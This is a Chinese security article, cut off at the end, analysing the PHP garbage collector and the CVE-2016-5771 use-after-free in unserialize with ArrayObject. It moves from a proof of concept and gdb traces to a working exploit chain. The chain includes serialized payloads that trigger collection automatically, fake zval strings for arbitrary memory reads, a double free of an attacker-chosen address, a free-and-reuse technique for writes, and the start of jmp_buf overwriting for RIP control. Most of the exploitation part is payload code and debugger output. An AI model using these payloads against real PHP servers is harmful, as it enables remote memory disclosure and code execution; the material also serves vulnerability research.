php 垃圾回收机制,PHP垃圾回收机制UAF漏洞分析

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:ph1re ,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、PHP垃圾回收机制简介

因为PHP当中存在循环引用,仅以refcount计数器作为垃圾回收机制是不够的,因此在PHP5.3中引入了新的垃圾回收机制。<?php

$a = array('one');

$a[] = &$a;

unset($a);

?>

在PHP5.2及以前的版本中无法回收变量$a的内存。

在PHP5.3以后的新垃圾回收机制算法以颜色标记的方法来判断垃圾将所有数组和对象zval节点放入gc_root_buffer并标记为紫色潜在垃圾已放入缓冲区。当节点缓冲区被塞满默认为10000或调用gc_collect_cycles()时开始进行垃圾回收。

以深度优先对zval及其子节点所包含的zval进行refcount减1操作并标记为灰色已减一。

再次以深度优先判断每一个节点包含的zval的值如果zval的refcount等于0那么将其标记成白色垃圾。如果zval的refcount大于0那么将对此zval以及其子节点进行refcount加1还原同时将这些zval的颜色变成黑色正常。

遍历zval节点将C中标记成白色的节点zval释放掉。

垃圾回收算法代码如下

Zend/zend_gc.cZEND_API int gc_collect_cycles(TSRMLS_D)

{

[...]

gc_mark_roots(TSRMLS_C);

gc_scan_roots(TSRMLS_C);

gc_collect_roots(TSRMLS_C);

[...]

/* Free zvals */

p = GC_G(free_list);

while (p != FREE_LIST_END) {

q = p->u.next;

FREE_ZVAL_EX(&p->z);

p = q;

}

[...]

}

其中重要的就是gc_mark_roots、gc_scan_roots和gc_collect_roots这三个函数gc_mark_roots对gc_root_buffer中的每个节点调用zval_mark_greyzval_mark_grey;对节点及其子节点refcount减一并标记为灰色;对已标记为灰色的节点不处理。

gc_scan_roots调用zval_scan对每个节点进行处理,zval_scan只处理灰色节点;调用zval_scan_black对节点refcount大于0的节点的refcount加一并标记为黑色。refcount为0的节点标记为白色。

gc_collect_roots把所有白色节点放入gc_free_list链表等待释放。

二、CVE-2016-5771分析

poc<?php

$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';

$outer_array = unserialize($serialized_string);

gc_collect_cycles();

$filler1 = "aaaa";

$filler2 = "bbbb";

var_dump($outer_array);

?>

序列字符串的本意是定义一个数组,其中包含一个ArrayObject,对象ArrayObject里又包含一个内部数组,内部数组成员是两个引用,一个指向外部数组,一个指向内部数组。但是经过反序列化和垃圾回收之后,外部数组的内存被释放了,但PHP并不知道从而导致Use After Free。

04c5d3791dbc2202926218dff5dbb0b0.png

预期的结果应该是array(1) { // outer_array

[1]=>

object(ArrayObject)#1 (1) {

["storage":"ArrayObject":private]=>

array(2) { // inner_array

[1]=>

// Reference to inner_array

[2]=>

// Reference to outer_array

}

}

}

而实际的运行结果是string(4) "bbbb"

我们就来调试看一下到底发生了什么。首先编辑PHP自带的.gdbinit在末尾出添加define dumpgc

set $current = gc_globals.roots.next

printf "GC buffer content:\n"

while $current != &gc_globals.roots

printzv $current.u.pz

set $current = $current.next

end

end

然后在gdb中输入(gdb) source .gdbinit

这样就可以直接用dumpgc命令来查看gc_root_buffer中的内容了。我们把断点下在gc_collect_cycles()函数上看看垃圾回收过程中究竟发生了什么。(gdb) b zend_gc.c:gc_collect_cycles

Breakpoint 1 at 0x98dc4a: file /root/php-5.6.20/Zend/zend_gc.c, line 779.

(gdb) r 1.php

Starting program: /root/php-5.6.20/sapi/cli/php 1.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib64/libthread_db.so.1".

Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:779

779 int count = 0;

(gdb) dumpgc

GC buffer content:

[0x7ffff7fd0f40] (refcount=2) array(1): {

1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1

}

[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {

1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):

2 => [0x7ffff7fd0f40] (refcount=2) array(1):

}

[0x1306380] (refcount=8074858) NULL

[0x7ffff7fce5d8] (refcount=2) array(1): {

0 => [0x7ffff7fce660] (refcount=1) string(5): "1.php"

}

(gdb)

在执行gc_mark_roots()之前gc_root_buffer中和我们poc相关的zval有两条分别是

外部数组[0x7ffff7fd0f40] (refcount=2) array(1): {

1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1

}

内部数组[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {

1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):

2 => [0x7ffff7fd0f40] (refcount=2) array(1):

}

可以看到内部数组的两个成员一个指向自身一个指向外部数组。然后我们执行完gc_mark_roots再来看一下(gdb) b zend_gc.c:611

Breakpoint 2 at 0x98d574: file /root/php-5.6.20/Zend/zend_gc.c, line 611.

(gdb) c

Continuing.

Breakpoint 2, gc_scan_roots () at /root/php-5.6.20/Zend/zend_gc.c:611

611 gc_root_buffer *current = GC_G(roots).next;

(gdb) dumpgc

GC buffer content:

[0x7ffff7fd0f40] (refcount=0) array(1): {

1 => [0x7ffff7fd2c80] (refcount=0) object(ArrayObject) #1

}

[0x7ffff7fce5d8] (refcount=2) array(1): {

0 => [0x7ffff7fce660] (refcount=0) string(5): "1.php"

}

(gdb)

可以看到外部数组的refcount被修改成0内部数组已经被移出buffer了。这样一来后面就会把外部数组的内存给释放了(gdb) b zend_gc.c:846

Breakpoint 4 at 0x98e043: file /root/php-5.6.20/Zend/zend_gc.c, line 846.

(gdb) c

Continuing.

Breakpoint 4, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:846

846 FREE_ZVAL_EX(&p->z);

(gdb) printzv &p->z

[0x7ffff7fd0f40] (refcount=0) NULL

(gdb) s

_efree (ptr=0x7ffff7fd0f40) at /root/php-5.6.20/Zend/zend_alloc.c:2436

2436 if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {

(gdb)

调试可以发现其中的操作逻辑首先用zval_mark_grey把外部数组标记为灰色。

对外部数组的子节点即ArrayObject对象标记为灰色refcount减一,此时ArrayObject的refcount为0。

对ArrayObject的子节点即内部数组的两个成员分别指向外部数组和内部数组,分别调用zval_mark_grey,实际又会对外部数组和内部数组进行操作。因为外部数组已经被标记过灰色所以直接返回。而内部数组被标记为灰色。两个数组分别refcount减一此时两个数组refcount都是1。

然后又会对内部数组成员分别指向外部数组和内部数组调用zval_mark_grey。这时会再次把外部数组和内部数组的refcount减一,此时外部数组和内部数组的refcount都已经是0了。注意此步是漏洞产生的关键所在。

这里看出漏洞的成因是对ArrayObject成员refcount进行了一次减一操作,然后又对内部数组的成员refcount进行了一次减一操作,导致外部数组的refcount变成了0,而在我们的PHP脚本中$outer_array这个变量还引用着外部数组的zval呢

其实ArrayObject的成员和内部数组的成员是相同的,都是外部数组和内部数组的引用,那么为什么分别会对ArrayObject的成员和内部数组的成员refcount重复进行减一呢?看下zval_mark_grey的实现。static void zval_mark_grey(zval *pz TSRMLS_DC)

{

Bucket *p;

tail_call:

if (GC_ZVAL_GET_COLOR(pz) != GC_GREY) {

p = NULL;

GC_BENCH_INC(zval_marked_grey);

GC_ZVAL_SET_COLOR(pz, GC_GREY);

if (Z_TYPE_P(pz) == IS_OBJECT && EG(objects_store).object_buckets) {

zend_object_get_gc_t get_gc;

struct _store_object *obj = &EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].bucket.obj;

obj->refcount--;

if (GC_GET_COLOR(obj->buffered) != GC_GREY) {

GC_BENCH_INC(zobj_marked_grey);

GC_SET_COLOR(obj->buffered, GC_GREY);

if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&

(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {

int i, n;

zval **table;

HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);

当对ArrayObject对象调用zval_mark_grey时,会Z_OBJ_HANDLER_P(pz, get_gc)获取对象的get_gc处理函数,这个函数用来返回对象子成员返回的是一个HashTable。而由于PHP没有给ArrayObject对象实现gc函数,这时会Z_OBJ_HANDLER_P(object, get_properties)(object TSRMLS_CC)来获取对象get_properties处理函数,这导致最终调用的是spl_array_get_properties。static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */

{

[...]

result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);

[...]

return result;

}

spl_array_get_properties调用spl_array_get_hash_table返回了ArrayObject内部数组的HashTable,这最终导致了垃圾回收算法从ArrayObject对象获取子成员后,对外部数组和内部数组的refcount重复减一并使得最终释放掉了本不该释放的内存。

三、漏洞利用

在实际环境中利用此漏洞要解决几个问题。首先是漏洞环境一般不会手工调用gc_collect_cycles(),所以就需要在单一unserialize()调用的情况下完成垃圾回收。

在PHP中默认的gc_root_buffer缓冲区大小是100000,所以只要构造一个超过这个数量元素的数组就可以自动触发gc_collect_cycles()。#define GC_ROOT_BUFFER_MAX_ENTRIES 10000

下面代码可以自动触发垃圾回收,无需手工调用gc_collect_cycles()define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);

define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);

$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);

$trigger_gc_serialized_string = 'a:'.(NUM_TRIGGER_GC_ELEMENTS).':{'.$overflow_gc_buffer.'}';

unserialize($trigger_gc_serialized_string);

虽然可以在unserialize自动触发gc_collect_cycles()了,但是遇到一个更加棘手的问题。在unserialize函数执行过程中,所有元素的refcount要比unserialize结束的时候要大2。所以在unserialize调用gc_collect_cycles()时,并不能利用上面的漏洞把特定元素的refcount置零。解决这个问题的办法是建立前后两个ArrayObject对象里面都包含一个数组,数组的元素是指向要被释放的zval元素的引用。这样一来就可以在垃圾回收处理两个ArrayObject对象的时候对其子元素及数组的每个引用减两次,这样要被释放的zval的refcount在最终回收的时候就可以是零而最终被释放。

但是如果把两个ArrayObject和包含引用的数组并列排放的话,就会导致另一个问题。虽然当gc_mark_roots和zval_mark_grey完成的时候,目标zval的refcount被置零并且标记为白色,但是后面gc_scan_roots的时候会首先判断ArrayObject的refcount。当发现ArrayObject的refcount大于0,会把ArrayObject及其子元素全表标记为黑色,而目标zval也是ArrayObject的子元素因此也会被重新标记为黑色。这样一来最终目标zval就不会被释放了。这里的解决方案是把几个ArrayObject对象放在目标zval的内部,最终构造一个这样的数组

0ec43c39a024e966a429f3460860d7f2.png

这样一来ArrayObject也会被减掉refcount在gc_mark_roots完成之后目标数组的refcount会被减为0并且被标记为白色。

经过一系列调整之后得到poc代码define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);

define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);

// Overflow the GC buffer.

$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);

// The decrementor_object will be initialized with the contents of our target array ($free_me).

$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';

// The following references will point to the $free_me array (id=3) within unserialize.

$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';

// Setup our target array i.e. an array that is supposed to be freed during unserialization.

$free_me = 'a:7:{'.$target_references.'i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.'}';

// Increment each decrementor_object reference count by 2.

$adjust_rcs = 'i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;}';

// Trigger the GC and free our target array.

$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';

// Add our GC trigger and add a reference to the target array.

$payload = 'a:2:{'.$trigger_gc.'i:0;r:3;}';

var_dump(unserialize($payload));

最终构造的目标数组如下a:2:{

i:0;a:10007:{

i:0;a:7:{ //要被释放的目标数组

i:0;r:3; //指向目标数组

i:1;r:3; //指向目标数组

i:2;r:3; //指向目标数组

i:3;r:3; //指向目标数组

i:9;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}} //ArrayObject对象成员指向目标数组用来使目标数组refcount减一

i:99;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}} //ArrayObject对象成员指向目标数组用来使目标数组refcount减一

i:999;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}} //ArrayObject对象成员指向目标数组用来使目标数组refcount减一

}

i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;} //增加每个ArrayObject对象的refcount

i:0;a:0:{}...10000... //10000个无用数组用来触发gc_collect_cycles

}

i:0;r:3; //对目标数组的引用

}

我们来调试看一下当执行完gc_mark_roots之后,目标数组0x7ffff7fd62f8的refcount已经变成0了。Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:790

790 gc_mark_roots(TSRMLS_C);

(gdb) n

791 gc_scan_roots(TSRMLS_C);

(gdb) dumpgc

GC buffer content:

[0x7ffff7fd9340] (refcount=2) array(0): {

}

[0x7ffff7fd9288] (refcount=2) array(0): {

}

[0x7ffff7fd62f8] (refcount=0) array(7): {

0 => [0x7ffff7fd62f8] (refcount=0) array(7):

1 => [0x7ffff7fd62f8] (refcount=0) array(7):

2 => [0x7ffff7fd62f8] (refcount=0) array(7):

3 => [0x7ffff7fd62f8] (refcount=0) array(7):

9 => [0x7ffff7fd8700] (refcount=0) object(ArrayObject) #1

99 => [0x7ffff7fd8818] (refcount=0) object(ArrayObject) #2

999 => [0x7ffff7fd8ad8] (refcount=0) object(ArrayObject) #3

}

[0x7ffff7fd8df8] (refcount=1) array(0): {

}

[0x7ffff7fd8b38] (refcount=1) array(0): {

}

[0x7ffff7fd8878] (refcount=1) array(0): {

}

[0x7ffff7fce5b0] (refcount=2) array(1): {

0 => [0x7ffff7fce638] (refcount=0) string(7): "poc.php"

}

(gdb) x/32xb 0x7ffff7fd62f8

0x7ffff7fd62f8: 0x28 0x63 0xfd 0xf7 0xff 0x7f 0x00 0x00

0x7ffff7fd6300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ffff7fd6308: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00

0x7ffff7fd6310: 0x62 0x03 0x32 0x01 0x00 0x00 0x00 0x00

(gdb)

当我们执行到后面的/* Free zvals */

p = GC_G(free_list);

while (p != FREE_LIST_END) {

q = p->u.next;

FREE_ZVAL_EX(&p->z);

p = q;

}

再看一下Breakpoint 2, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:846

846 FREE_ZVAL_EX(&p->z);

(gdb) printzv &p->z

[0x7ffff7fd62f8] (refcount=10) NULL

(gdb) x/32xb 0x7ffff7fd62f8

0x7ffff7fd62f8: 0x28 0x63 0xfd 0xf7 0xff 0x7f 0x00 0x00

0x7ffff7fd6300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ffff7fd6308: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ffff7fd6310: 0xfc 0xff 0xff 0xff 0xff 0xff 0xff 0xff

(gdb) n

847 p = q;

(gdb) x/32xb 0x7ffff7fd62f8

0x7ffff7fd62f8: 0xf0 0x86 0xfd 0xf7 0xff 0x7f 0x00 0x00

0x7ffff7fd6300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ffff7fd6308: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ffff7fd6310: 0xfc 0xff 0xff 0xff 0xff 0xff 0xff 0xff

这里目标数组就已经被释放了,并且这个zval的位置被写入了一个堆地址。

任意地址读

因为目标数组以及ArrayObject都已经被释放了,在后面emalloc的时候就会分配到这块内存,所以在后面构造一个string类型的zval里面存放fake_zval,这样就可以达到读任意内存地址的目的。<?php

define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);

define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);

// Create a fake zval string which will fill our freed space later on.

$fake_zval_string = pack("Q", 0x400000).pack("Q", 32).str_repeat("\x06", 8);

$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));

$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';

// Create a sandwich like structure:

// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE

$overflow_gc_buffer = '';

for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {

$overflow_gc_buffer .= 'i:0;a:0:{}';

$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;

}

// The decrementor_object will be initialized with the contents of our target array ($free_me).

$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';

// The following references will point to the $free_me array (id=3) within unserialize.

$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';

// Setup our target array i.e. an array that is supposed to be freed during unserialization.

$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'

}';

// Increment each decrementor_object reference count by 2.

$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';

// Trigger the GC and free our target array.

$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';

// Add our GC trigger and add a reference to the target array.

$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';

$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';

$a = unserialize($payload);

var_dump($a);

?>

我们构造一个string类型6的fake_zval字符串,地址0x400000,长度128。这样当var_dump访问被释放又重用的zval时,就会把0x400000地址的内存内容读出来。原理是当ArrayObject被释放以后,unserialize会调用unserialize_str来解析后面的$fake_zval_string变量的这个字符串S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06"

这时会调用safe_emalloc分配内存,而分配到的内存就是前面被释放的ArrayObject的内存。然后把字符串解析成二进制之后放入这块内存因此ArrayObject的内存就变成了一个指向0x400000长度为1280x80的string类型zval。[root@localhost php-5.6.20]# sapi/cli/php exp.php

array(5) {

[0]=>

string(24) "@"

[1]=>

string(24) "@"

[2]=>

string(24) "@"

[3]=>

string(24) "@"

[4]=>

string(128) "ELF>0B@@8 @@@@@@

}

可以看到这里读出了php可执行文件的内容了。

四、释放任意地址的内存

因为这个UAF漏洞想要远程利用,我们能控制的只有被反序列化的字符串而不能控制php脚本内容。因此无法通过释放后重用的方式写任意地址。想要控制程序流程就必须是能够释放任意地址的内存,然后通过反复释放重用堆栈的过程来覆盖堆栈中的JMP_BUF,最后通过触发异常来控制RIP。

通过两次释放内存的方法我们可以释放任意地址的内存构造如下反序列化字符串。//为了方便测试我把zend_gc.c中的GC_ROOT_BUFFER_MAX_ENTRIES改成了10这样只要10条数据就会导致垃圾回收。

a:6:{

i:0;a:32:{

i:0;a:11:{ //内部数组1

i:9;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}

i:99;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}

i:999;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}

i:0;r:3;

i:1;r:3;

i:2;r:3;

i:3;r:3;

i:9999;a:32:{

i:0;a:7:{ //内部数组2

i:9;C:11:"ArrayObject":20:{x:i:0;r:21;;m:a:0:{}}

i:99;C:11:"ArrayObject":20:{x:i:0;r:21;;m:a:0:{}} //数组对象1

i:999;C:11:"ArrayObject":20:{x:i:0;r:21;;m:a:0:{}}

i:0;r:21;

i:1;r:21;

i:2;r:21;

i:3;r:21;

}

i:99999;a:3:{i:0;r:22;i:1;r:26;i:2;r:30;}

i:0;a:0:{}i:0;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:1;S:24:"\01\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:2;S:24:"\02\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:3;S:24:"\03\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:4;S:24:"\04\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:5;S:24:"\05\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:6;S:24:"\06\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:7;S:24:"\dd\cc\bb\aa\00\00\00\00\80\00\00\00\00\00\00\00\ff\ff\ff\ff\06\06\06\06";

i:0;a:0:{}i:8;S:24:"\08\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:9;S:24:"\09\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:10;S:24:"\0a\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:11;S:24:"\0b\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:12;S:24:"\0c\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:13;S:24:"\0d\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:14;S:24:"\0e\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

}

i:4;r:22;

i:5;r:26; //指向数组对象1

i:6;r:30;

}

i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}

i:0;a:0:{}i:0;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:1;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:2;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:3;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:4;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:5;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:6;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:7;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:8;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:9;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:10;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:11;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:12;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:13;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

i:0;a:0:{}i:14;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";

}

i:0;r:4;

i:1;r:4;

i:2;r:4;

i:3;r:4;

i:4;r:8;

}

这里会触发两次垃圾回收。第一次垃圾回收会释放掉内部数组2并导致数组对象1被覆盖为下面这个字符串i:7;S:24:"\dd\cc\bb\aa\00\00\00\00\80\00\00\00\00\00\00\00\ff\ff\ff\ff\06\06\06\06";

而第二次垃圾回收会释放内部数组1及其成员变量内部数组1的成员变量i:5;r:26;指向了数组对象1而这个数组对象1已经被覆盖成了字符串。

Zend\zend_gc.c:819/* Destroy zvals */

p = GC_G(free_list);

while (p != FREE_LIST_END) {

GC_G(next_to_free) = p->u.next;

if (Z_TYPE(p->z) == IS_OBJECT) {

if (EG(objects_store).object_buckets &&

EG(objects_store).object_buckets[Z_OBJ_HANDLE(p->z)].valid &&

EG(objects_store).object_buckets[Z_OBJ_HANDLE(p->z)].bucket.obj.refcount <= 0) {

EG(objects_store).object_buckets[Z_OBJ_HANDLE(p->z)].bucket.obj.refcount = 1;

Z_TYPE(p->z) = IS_NULL;

zend_objects_store_del_ref_by_handle_ex(Z_OBJ_HANDLE(p->z), Z_OBJ_HT(p->z) TSRMLS_CC);

}

} else if (Z_TYPE(p->z) == IS_ARRAY) {

Z_TYPE(p->z) = IS_NULL;

zend_hash_destroy(Z_ARRVAL(p->z)); //释放数组成员变量

FREE_HASHTABLE(Z_ARRVAL(p->z));

} else {

zval_dtor(&p->z);

Z_TYPE(p->z) = IS_NULL;

}

p = GC_G(next_to_free);

}

这里会调用zend_hash_destroy去释放内部数组1的成员变量,接下来调用

Zend\zend_execute.h:74static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC TSRMLS_DC)

{

if (!Z_DELREF_P(zval_ptr)) {

ZEND_ASSERT(zval_ptr != &EG(uninitialized_zval));

GC_REMOVE_ZVAL_FROM_BUFFER(zval_ptr);

zval_dtor(zval_ptr);

efree_rel(zval_ptr);

} else {

if (Z_REFCOUNT_P(zval_ptr) == 1) {

Z_UNSET_ISREF_P(zval_ptr);

}

GC_ZVAL_CHECK_POSSIBLE_ROOT(zval_ptr);

}

}

这里的Z_DELREF_P宏会把zval_ptr的refcount减一,然后判断是不是0,也就是说我们覆盖的字符串的refcount必须是1才会被释放。因此S:24:"\dd\cc\bb\aa\00\00\00\00\80\00\00\00\00\00\00\00\ff\ff\ff\ff\06\06\06\06";

这里把refcount设置成0xffffffff在,后面经过一系列操作后refcount会被加2而变成1然后再减1后恰好是0这样就会导致释放0xaabbccdd的内存而这个地址是我们能控制的。我们在gdb中运行会看到(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x000000000092b23b in _zend_mm_free_int (heap=0x130ee30, p=0xaabbccdd) at /root/php-5.6.20/Zend/zend_alloc.c:2075

2075 size = ZEND_MM_BLOCK_SIZE(mm_block);

(gdb)

看到会去释放0xaabbccdd的内存导致了异常。

五、写任意内存

到目前为止我们已经能够读取任意地址的内存和有条件的写内存。为什么是有条件的写内存呢因为我们可以释放任意地址内存并重用这块内存虽然看起来是可以写任意内存但是实际上我们释放的内存块要受到长度的限制PHP中内存管理的内存块的头部是zend_mm_block_info这个结构typedef struct _zend_mm_block_info {

size_t _size; /* block的大小*/

size_t _prev; /* 计算前一个块有用到*/

} zend_mm_block_info;

因此我们要释放的内存块前面-0x10个字节处是本内存块的大小,而因为我们重用内存是通过PHP反序列化中的unserialize_str来分配内存,所以必须内存块-0x10出的数值不能太大,要在一个范围之内0x0C到0x8F。所以并不是所有内存地址都可以直接通过释放重用的方法来覆盖。

要解决这个问题需要通过反复释放重用的方式来逐步覆盖。例如加入我们要覆盖0x11223344的内存就需要利用读任意内存地址的方法,从0x11223344开始向前搜索内存在0x11223344之前找到一块包含XX 00 00 00 00 00 00 000xC< XX<0x8F的内存地址,把它当成一个内存块的长度。然后去释放这个内存块地址,再重用这块内存并构造一个下一块内存块的zend_mm_block_info结构。因为这个长度是我们可以控制的,所以下一次释放的时候就到达我们真正要覆盖的内存地址了。如果两次还不能到达就再次释放重用。整个过程是这样的

第一步向前搜索内存找到符合条件size的内存块

8e42608bebbc60aea64c3bd4f94e33d4.png

第二步,重用覆盖前面搜到的内存伪造下一个内存块的size。

e5d36eff073cb63eeb76f6d15786d547.png

第三步,重用覆盖内存块2覆盖最终地址。如果不能再重复第二、第三步。

六、控制RIP

通过前面的方法,我们已经可以读写任意内存。下面的问题就是写哪块内存地址以及写入什么内容。

我们要修改的地址必须是固定的,或者我们能够稳定获取的像函数返回地址这类栈中的地址就不行了。这里我们使用Stefan Esser提出的覆盖jmp_buf的方法。

首先介绍一下jmp_bufjmp_buf,是PHP在C语言层面异常处理的底层实现的要用到的数据结构,具体可以参见zend_try的定义。它是通过调用setjmp/longjmp来实现的,而jmp_buf用于保存恢复调用环境所需的寄存器信息jmp_buf。这个结构保存在栈上面,我们只要覆盖了jmp_buf结构中保存的返回地址RIP的值,那么就等于控制了程序执行流程。

那么怎么得到jmp_buf的地址呢?PHP的zend_executor_globals->bailout保存指向jmp_buf的指针我们可以通过漏洞任意地址读来得到zend_executor_globals中保存的jmp_buf的地址。而zend_executor_globals的地址对于固定版本的PHP来说,也是固定的在远程利用过程中,我们需要首先通过任意地址读来获取PHP模块libphp5.so的地址,然后通过ELF文件的strtab、symtab泄漏executor_globals的地址。(gdb) p *(zend_executor_globals *)0x130ab60

$1 = {return_value_ptr_ptr = 0x0, uninitialized_zval = {value = {lval = 0, dval = 0, str = {val = 0x0, len = 0},

